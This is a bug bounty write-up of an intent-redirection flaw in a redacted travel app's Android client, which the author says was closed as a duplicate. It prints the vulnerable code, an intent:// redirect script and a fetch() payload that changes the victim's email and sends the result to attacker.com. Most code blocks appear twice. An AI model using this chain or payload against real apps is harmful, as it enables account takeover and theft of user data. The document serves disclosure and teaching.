November 3, 2026
Intent Redirection to One-Click Account Takeover (But It’s a Duplicate)
بِسْمِ اَللَّهِ وَالْحَمْدِ لِلَّهِ الَّذِي عَلَّمَ بِالْقَلَمِ عَلَّمَ الْإِنْسَانَ مَا لَمْ يَعْلَمْ وَالصَّلَاةَ وَالسَّلَامَ عَلَى…

By abdelnasser
2 min read
بِسْمِ اَللَّهِ وَالْحَمْدِ لِلَّهِ الَّذِي عَلَّمَ بِالْقَلَمِ عَلَّمَ الْإِنْسَانَ مَا لَمْ يَعْلَمْ وَالصَّلَاةَ وَالسَّلَامَ عَلَى خَيْرِ مُعَلِّمِي اَلنَّاسِ اَلْخَيْرِ مُحَمَّدْ وَبَعْدٍ
Description
I found an intent redirection in the Android app of a major online travel booking platform. The app has a URL handler that passes URLs to Intent.parseUri() followed by startActivity() with no validation. There is a URL safety check, but it only looks for a ride-sharing URL fragment using a simple contains() call, so embedding that fragment in the intent:// URI path bypasses it entirely. I used this to launch an internal WebViewActivity with attacker-controlled HTML loaded under the platform's main domain via loadDataWithBaseURL(). Since the JavaScript runs in that origin, the HttpOnly session cookie is attached to every fetch() call automatically. I called the GraphQL API to change the victim's email, requested a password reset, and took over the account. One click.
Of course it was closed as a duplicate. Someone apparently found the same thing before me. I'm not even mad, just impressed that two people independently decided to abuse a ride-sharing URL check to steal travel accounts.
Technical Details
The exported DeepLinkRouterActivity handles deep links for the app:
<activity
android:name="com.redacted.app.activity.DeepLinkRouterActivity"
android:exported="true"
android:launchMode="singleTask">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<data android:scheme="https" android:host="redacted.com" />
</intent-filter>
</activity><activity
android:name="com.redacted.app.activity.DeepLinkRouterActivity"
android:exported="true"
android:launchMode="singleTask">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<data android:scheme="https" android:host="redacted.com" />
</intent-filter>
</activity>It accepts a deeplink query parameter that replaces the parsed URL with an attacker-controlled value, no domain validation. An /event-tickets/ path bypasses the whitelist:
https://redacted.com/event-tickets/?deeplink=https://attacker.com/payloadhttps://redacted.com/event-tickets/?deeplink=https://attacker.com/payloadThe attacker's page navigates to an intent:// URI. The app checks if the URL is a ride-sharing link using a simple string contains() call. Embedding the expected fragment in the path makes the check pass and skips the "non-HTTP URL" confirmation dialog. The URL reaches SocialUtils.openApp():
public static void openApp(Context context, String str) {
try {
Intent uri = Intent.parseUri(str, 1);
if (uri != null) {
context.startActivity(uri);
}
} catch (URISyntaxException e) {
Log.w("Unable to open the app", e);
}
}public static void openApp(Context context, String str) {
try {
Intent uri = Intent.parseUri(str, 1);
if (uri != null) {
context.startActivity(uri);
}
} catch (URISyntaxException e) {
Log.w("Unable to open the app", e);
}
}Intent.parseUri() parses the attacker's URI into an intent, and startActivity() fires it from the app's own context, which can reach non-exported activities. I targeted WebViewActivity with ARG_HTML_DATA and ARG_BASE_URL as intent extras. The activity reads them with no validation:
public WebViewFragment createWebViewFragment(Bundle bundle, ...) {
if (bundle.containsKey(ARG_HTML_DATA)) {
String htmlData = bundle.getString(ARG_HTML_DATA);
return WebViewFragment.newInstance(
htmlData, bundle.getString(Constants.ARG_BASE_URL, null));
}
// ...
}public WebViewFragment createWebViewFragment(Bundle bundle, ...) {
if (bundle.containsKey(ARG_HTML_DATA)) {
String htmlData = bundle.getString(ARG_HTML_DATA);
return WebViewFragment.newInstance(
htmlData, bundle.getString(Constants.ARG_BASE_URL, null));
}
// ...
}WebViewFragment calls loadDataWithBaseURL() with the platform's domain as base URL:
if (!TextUtils.isEmpty(this.mHtmlData)) {
this.mWebView.loadDataWithBaseURL(
this.mBaseUrl, this.mHtmlData,
"text/html", "UTF-8", null);
}if (!TextUtils.isEmpty(this.mHtmlData)) {
this.mWebView.loadDataWithBaseURL(
this.mBaseUrl, this.mHtmlData,
"text/html", "UTF-8", null);
}The injected JavaScript runs in the platform's origin. The HttpOnly session cookie is sent with every fetch() at the HTTP layer. JavaScript never sees the cookie, but it can call any API as the victim.
The victim clicks a link to the attacker's page, which redirects into the app:
<script>
window.location = "intent://x/ride-share-path#Intent;"
+ "component=com.redacted.app/"
+ "com.redacted.app.activity.WebViewActivity;"
+ "S.ARG_HTML_DATA=" + encodeURIComponent(atoPayload) + ";"
+ "S.ARG_BASE_URL=https%3A%2F%2Fwww.redacted.com;"
+ "end";
</script><script>
window.location = "intent://x/ride-share-path#Intent;"
+ "component=com.redacted.app/"
+ "com.redacted.app.activity.WebViewActivity;"
+ "S.ARG_HTML_DATA=" + encodeURIComponent(atoPayload) + ";"
+ "S.ARG_BASE_URL=https%3A%2F%2Fwww.redacted.com;"
+ "end";
</script>I used the same-origin context to call the GraphQL API and change the victim's email:
fetch("/graphql", {
method: "POST",
credentials: "include",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
operationName: "userSettingFormSubmit",
query: mutation,
variables: {
context: { siteId: 1, locale: "en_US" },
actionContext: "change_email",
inputs: [{ key: "email", value: "attacker@evil.com" }]
}
})
}).then(r => r.json())
.then(data => {
fetch("https://attacker.com/collect?data="
+ encodeURIComponent(JSON.stringify(data)));
});fetch("/graphql", {
method: "POST",
credentials: "include",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
operationName: "userSettingFormSubmit",
query: mutation,
variables: {
context: { siteId: 1, locale: "en_US" },
actionContext: "change_email",
inputs: [{ key: "email", value: "attacker@evil.com" }]
}
})
}).then(r => r.json())
.then(data => {
fetch("https://attacker.com/collect?data="
+ encodeURIComponent(JSON.stringify(data)));
});No CSRF token needed. Pure cookie-based authentication. Change the email, request a password reset on the new email, full account takeover.
Takeaways
Never call Intent.parseUri() followed by startActivity() without strict validation. When loadDataWithBaseURL() accepts external input for the base URL or HTML content, the WebView becomes a same-origin code execution primitive.
Alhamdulillah for everything
#BugBounty #AndroidSecurity #AccountTakeover #MobileSecurity #HackerOne